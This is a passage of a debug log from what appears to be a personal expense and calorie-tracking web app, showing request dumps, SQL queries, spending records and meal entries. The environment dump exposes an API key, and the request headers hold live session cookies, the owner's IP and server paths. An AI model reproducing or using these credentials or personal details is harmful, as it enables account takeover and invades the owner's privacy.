    cookie: 'security.auth=s%3AX4syas%2BW52SRL8GUQFDWvg%3D%3D.uobaIc%2BHVwvdoFGF5ZjFZyh4%2BWaCXt1tiHEd3PLnVgO45SVcLX1rkMCjtUx0z6ZJPOTgeXamJe6AmU8P6mi80AvSaO04ihotdfVtZgFp%2BWa3mVhtE27rw%2BmwxFJI3s%2FkcE%2Bxr9N7lghqjkIhNjmOIu%2BRvbGVsMkQCk%2FiiUFuAhw%3D.3QkGv7zB1NSKO6YZ16c72PKLL7SNVXJSvMEdT4KTk2k; your_r_git.sid=s%3AFFBXwIU1aV7RMz8CUgfDhDo30InLO_mU.0W0kxOW8ZJNXb%2FZcyCg650LItvc8byKSUXj4YYJG0Ms',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-14T06:28:58.121Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/expense/list',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/expense/list',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/expense/list',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AX4syas%2BW52SRL8GUQFDWvg%3D%3D.uobaIc%2BHVwvdoFGF5ZjFZyh4%2BWaCXt1tiHEd3PLnVgO45SVcLX1rkMCjtUx0z6ZJPOTgeXamJe6AmU8P6mi80AvSaO04ihotdfVtZgFp%2BWa3mVhtE27rw%2BmwxFJI3s%2FkcE%2Bxr9N7lghqjkIhNjmOIu%2BRvbGVsMkQCk%2FiiUFuAhw%3D.3QkGv7zB1NSKO6YZ16c72PKLL7SNVXJSvMEdT4KTk2k; your_r_git.sid=s%3AFFBXwIU1aV7RMz8CUgfDhDo30InLO_mU.0W0kxOW8ZJNXb%2FZcyCg650LItvc8byKSUXj4YYJG0Ms',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-13T10:49:40.155Z server-connect:router Serving serverConnect /api/expense/list
2025-12-13T10:49:40.155Z server-connect:router Serving serverConnect /api/masters/get-tags
2025-12-13T10:49:40.156Z server-connect:app Executing action step identify
2025-12-13T10:49:40.156Z server-connect:app options: { provider: 'security' }
2025-12-13T10:49:40.156Z server-connect:output identity: 1
2025-12-13T10:49:40.156Z server-connect:app Executing action step restrict
2025-12-13T10:49:40.156Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T10:49:40.156Z server-connect:app Executing action step identify
2025-12-13T10:49:40.156Z server-connect:app options: { provider: 'security' }
2025-12-13T10:49:40.156Z server-connect:output identity: 1
2025-12-13T10:49:40.156Z server-connect:app Executing action step restrict
2025-12-13T10:49:40.156Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T10:49:40.157Z server-connect:output restrict: undefined
2025-12-13T10:49:40.157Z server-connect:app Executing action step paged
2025-12-13T10:49:40.157Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'expense' },
    primary: 'id',
    joins: [ [Object], [Object] ],
    query: 'select `expense`.`invoice_number`, `expense`.`quantity`, `expense`.`purchase_date`, `expense`.`receipt_url`, `expense`.`remark`, `expense`.`amount`, `sc`.`subcategory_name` as `item_name`, `c1`.`name` as `unit` from `expense` inner join `sub_categories` as `sc` on `sc`.`id` = `expense`.`category_id` inner join `collections` as `c1` on `c1`.`id` = `expense`.`unit` where (`expense`.`amount` = ? or `sc`.`subcategory_name` like ? or `c1`.`name` like ?) order by `expense`.`purchase_date` DESC',
    orders: [ [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2025-12-13T10:49:40.158Z server-connect:output restrict: undefined
2025-12-13T10:49:40.158Z server-connect:app Executing action step select
2025-12-13T10:49:40.158Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'm_tags' },
    primary: 'id',
    joins: [],
    query: 'select `id`, `tag` from `m_tags`'
  }
}
2025-12-13T10:49:40.159Z server-connect:output list: [
  { id: 1, tag: 'Gadgets' },
  { id: 2, tag: 'Waste of money' },
  { id: 3, tag: 'Relax' },
  { id: 4, tag: 'Luxury' },
  { id: 5, tag: 'Needs' },
  { id: 6, tag: 'Swiggy' },
  { id: 7, tag: 'Zomato' },
  { id: 8, tag: 'Bills' },
  { id: 9, tag: 'EMIs' },
  { id: 10, tag: 'Blinkit' },
  { id: 11, tag: 'Instamart' }
]
2025-12-13T10:49:40.166Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 1955,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 1950 },
    current: 1,
    total: 79
  },
  data: [
    {
      invoice_number: 1239,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '189.00',
      item_name: 'Clothing',
      unit: 'Other'
    },
    {
      invoice_number: 1244,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '300.00',
      item_name: 'Gas Bill',
      unit: 'Other'
    },
    {
      invoice_number: 1237,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '95.00',
      item_name: 'App Subscription',
      unit: 'Other'
    },
    {
      invoice_number: 1238,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '348.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1240,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'fruits',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '72.00',
      item_name: 'Paneer',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '80.00',
      item_name: 'Paneer Masala',
      unit: 'Other'
    },
    {
      invoice_number: 1231,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '55.00',
      item_name: 'Milk',
      unit: 'Other'
    },
    {
      invoice_number: 1232,
      quantity: '2.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1233,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '585.00',
      item_name: 'Vegetables',
      unit: 'Other'
    },
    {
      invoice_number: 1234,
      quantity: '8.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '1432.00',
      item_name: 'HotWheels',
      unit: 'Piece'
    },
    {
      invoice_number: 1235,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '397.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1236,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '111.00',
      item_name: 'Online Order',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '118.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'Raw Chicken',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '30.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '120.00',
      item_name: 'Egg',
      unit: 'Other'
    },
    {
      invoice_number: 1243,
      quantity: '2.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '184.00',
      item_name: 'GoodKnight Liquid',
      unit: 'Piece'
    },
    {
      invoice_number: 1243,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '519.00',
      item_name: 'Pre workout muscle blaze',
      unit: 'Other'
    },
    {
      invoice_number: 1227,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '3818.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '20.00',
      item_name: 'Pani Puri',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '230.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1229,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '143.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1219,
      quantity: '2.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1220,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '125.00',
      item_name: 'HotWheels World',
      unit: 'Other'
    },
    {
      invoice_number: 1221,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '71.00',
      item_name: 'Vegetables',
      unit: 'Other'
    }
  ]
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-13 10:52:36' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-13 10:52:36' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-13 10:58:37' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-13 10:58:37' as DATETIME)"
}
2025-12-13T11:14:15.137Z server-connect:router Serving templateView /calorie-tracker
2025-12-13T11:14:15.137Z server-connect:app Executing action step identify
2025-12-13T11:14:15.137Z server-connect:app options: { provider: 'security' }
2025-12-13T11:14:15.137Z server-connect:output identity: 1
2025-12-13T11:14:15.137Z server-connect:app Executing action step restrict
2025-12-13T11:14:15.137Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T11:14:15.140Z server-connect:output restrict: undefined
2025-12-13T11:14:15.140Z server-connect:router Render template calorie-tracker
2025-12-13T11:14:15.140Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"2f72-tArYNHOgADdpOzGg5tUkcENDfOQ"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AX4syas%2BW52SRL8GUQFDWvg%3D%3D.uobaIc%2BHVwvdoFGF5ZjFZyh4%2BWaCXt1tiHEd3PLnVgO45SVcLX1rkMCjtUx0z6ZJPOTgeXamJe6AmU8P6mi80AvSaO04ihotdfVtZgFp%2BWa3mVhtE27rw%2BmwxFJI3s%2FkcE%2Bxr9N7lghqjkIhNjmOIu%2BRvbGVsMkQCk%2FiiUFuAhw%3D.3QkGv7zB1NSKO6YZ16c72PKLL7SNVXJSvMEdT4KTk2k; your_r_git.sid=s%3AFFBXwIU1aV7RMz8CUgfDhDo30InLO_mU.0W0kxOW8ZJNXb%2FZcyCg650LItvc8byKSUXj4YYJG0Ms',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-14T06:28:58.121Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"2f72-tArYNHOgADdpOzGg5tUkcENDfOQ"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AX4syas%2BW52SRL8GUQFDWvg%3D%3D.uobaIc%2BHVwvdoFGF5ZjFZyh4%2BWaCXt1tiHEd3PLnVgO45SVcLX1rkMCjtUx0z6ZJPOTgeXamJe6AmU8P6mi80AvSaO04ihotdfVtZgFp%2BWa3mVhtE27rw%2BmwxFJI3s%2FkcE%2Bxr9N7lghqjkIhNjmOIu%2BRvbGVsMkQCk%2FiiUFuAhw%3D.3QkGv7zB1NSKO6YZ16c72PKLL7SNVXJSvMEdT4KTk2k; your_r_git.sid=s%3AFFBXwIU1aV7RMz8CUgfDhDo30InLO_mU.0W0kxOW8ZJNXb%2FZcyCg650LItvc8byKSUXj4YYJG0Ms',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-13T11:14:15.381Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-13T11:14:15.381Z server-connect:app Executing action step identify
2025-12-13T11:14:15.381Z server-connect:app options: { provider: 'security' }
2025-12-13T11:14:15.382Z server-connect:output identity: 1
2025-12-13T11:14:15.382Z server-connect:app Executing action step restrict
2025-12-13T11:14:15.382Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T11:14:15.382Z server-connect:output restrict: undefined
2025-12-13T11:14:15.383Z server-connect:app Executing action step single
2025-12-13T11:14:15.383Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-13T11:14:15.384Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-13T11:14:15.384Z server-connect:app Executing action step select
2025-12-13T11:14:15.384Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-13T11:14:15.386Z server-connect:output item_list: [
  {
    id: 371,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop (6.5 gm)',
    replacements: 'Black coffee,Water',
    created_at: '2025-12-13T01:05:52.000Z',
    skip_level: 1,
    skip_reason: 'Enhances performance and focus during early morning workouts without significant caloric intake. Beneficial for muscle development goal.'
  },
  {
    id: 372,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Paneer',
    calories: 145,
    protein_gm: 9,
    carbs_gm: 2,
    fat_gm: 11,
    quantity: '50 gm',
    replacements: 'Low-fat paneer (reduced fat content, fewer calories),Tofu (lower fat, good protein),Chicken breast (lean protein, low fat),Egg whites (pure protein, no fat),Greek yogurt (high protein, often low fat)',
    created_at: '2025-12-13T01:05:52.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of high-quality protein and healthy fats, crucial for muscle repair, growth, and satiety, especially important for a muscle development goal with consistent gym activity.'
  },
  {
    id: 373,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Milk Sugar Tea',
    calories: 102,
    protein_gm: 3,
    carbs_gm: 15,
    fat_gm: 4,
    quantity: '1 small cup (approx 100ml full-fat milk, 10g sugar)',
    replacements: 'Black tea (0 calories),Green tea (0 calories),Tea with artificial sweetener (e.g., stevia, sucralose),Tea with skim milk or low-fat milk (reduced calories, fat),Tea with less sugar or no sugar',
    created_at: '2025-12-13T01:05:52.000Z',
    skip_level: 3,
    skip_reason: 'This item is high in added sugar, providing empty calories that contribute minimally to muscle development and can hinder fat loss efforts. For someone with a desk job and a muscle development goal, minimizing added sugars is key to maintaining a lean physique and optimizing nutrient intake. Full-fat milk also adds unnecessary calories and saturated fat that could be optimized by using skim or low-fat milk.'
  },
  {
    id: 374,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 48,
    protein_gm: 2,
    carbs_gm: 4,
    fat_gm: 3,
    quantity: "1 cup (approx 200ml, assuming 75ml full-fat cow's milk and 125ml brewed black tea)",
    replacements: 'Tea with skim milk or low-fat milk,Black tea or green tea (zero calories),Herbal tea',
    created_at: '2025-12-13T01:32:31.000Z',
    skip_level: 1,
    skip_reason: 'Milk tea without sugar is a generally good choice, especially for someone with your activity level and muscle development goals. Milk provides essential protein and calcium, beneficial for muscle repair and bone health. By skipping sugar, you avoid empty calories and added sugars, making it a much healthier beverage choice.'
  },
  {
    id: 375,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Banana',
    calories: 89,
    protein_gm: 1,
    carbs_gm: 23,
    fat_gm: 0,
    quantity: '1 medium (approx 100g edible portion)',
    replacements: 'Berries (e.g., strawberries, blueberries),Apple,Guava',
    created_at: '2025-12-13T01:33:03.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of quick carbohydrates for energy, especially beneficial for pre or post-workout recovery. Provides potassium crucial for muscle function and electrolyte balance. A good choice for muscle development.'
  },
  {
    id: 376,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Papaya',
    calories: 77,
    protein_gm: 1,
    carbs_gm: 20,
    fat_gm: 1,
    quantity: '3 slices (approx 180g, assuming 60g per slice)',
    replacements: 'Cucumber,Watermelon,Cantaloupe',
    created_at: '2025-12-13T01:33:03.000Z',
    skip_level: 1,
    skip_reason: 'Low in calories and rich in vitamins (C and A) and antioxidants. Contains papain, an enzyme that aids digestion, which can be beneficial. Good for hydration and general health support for an active lifestyle.'
  },
  {
    id: 377,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 138,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '1 scoop (approx 32g)',
    replacements: 'Lean chicken breast (e.g., grilled),Egg whites,Low-fat cottage cheese,Tofu (firm)',
    created_at: '2025-12-13T01:56:27.000Z',
    skip_level: 1,
    skip_reason: "Excellent for muscle repair and growth. It's a fast-digesting, high-quality protein source, crucial for post-workout recovery and meeting protein targets for muscle development, especially with frequent gym sessions."
  }
]
2025-12-13T11:14:15.386Z server-connect:app Executing action step setvalue
2025-12-13T11:14:15.386Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-13T11:14:15.386Z server-connect:output var_total: 609
2025-12-13T11:14:15.387Z server-connect:app Executing action step setvalue
2025-12-13T11:14:15.387Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-13T11:14:15.387Z server-connect:output var_consumed: 25
2025-12-13T11:14:15.387Z server-connect:app Executing action step setvalue
2025-12-13T11:14:15.387Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-13T11:14:15.387Z server-connect:output var_deficit: 1791
2025-12-13T11:14:15.387Z server-connect:app Executing action step custom
2025-12-13T11:14:15.387Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-13T11:14:15.388Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
